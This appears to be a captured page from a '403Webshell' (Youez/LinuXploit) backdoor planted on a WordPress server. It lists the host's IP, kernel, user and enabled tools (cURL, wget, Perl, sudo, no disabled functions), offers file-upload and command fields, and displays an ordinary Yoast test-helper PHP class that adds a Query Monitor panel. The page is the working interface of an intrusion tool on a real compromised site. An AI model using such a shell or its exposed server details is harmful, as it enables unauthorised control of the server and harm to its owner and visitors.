403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/yoast-test-helper/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/yoast-test-helper/src/query-monitor.php
<?php

namespace Yoast\WP\Test_Helper;

/**
 * Class to add a Yoast SEO tab to Query Monitor.
 */
class Query_Monitor implements Integration {

	/**
	 * Registers our menu item and output function.
	 *
	 * @return void
	 */
	public function add_hooks() {
		\add_filter( 'qm/output/panel_menus', [ $this, 'add_menu_panel' ], 80 );
		\add_filter( 'qm/outputter/html', [ $this, 'output' ], 12, 1 );
	}

	/**
	 * Adds the panel item.
	 *
	 * @param array $menu Array of menu items.
	 *
	 * @return array<string, string> Array of menu items.
	 */
	public function add_menu_panel( array $menu ) {
		$menu['yoast-seo'] = [
			'id'    => 'yoast-seo',
			'title' => 'Yoast SEO',
			'href'  => '#qm-yoast-seo',
		];

		return $menu;
	}

	/**
	 * Links the output to our output class.
	 *
	 * @param array $output Array with output for each tab.
	 *
	 * @return array Array with output for each tab.
	 */
	public function output( array $output ) {
		$output['yoast-seo'] = new Query_Monitor_Output();

		return $output;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit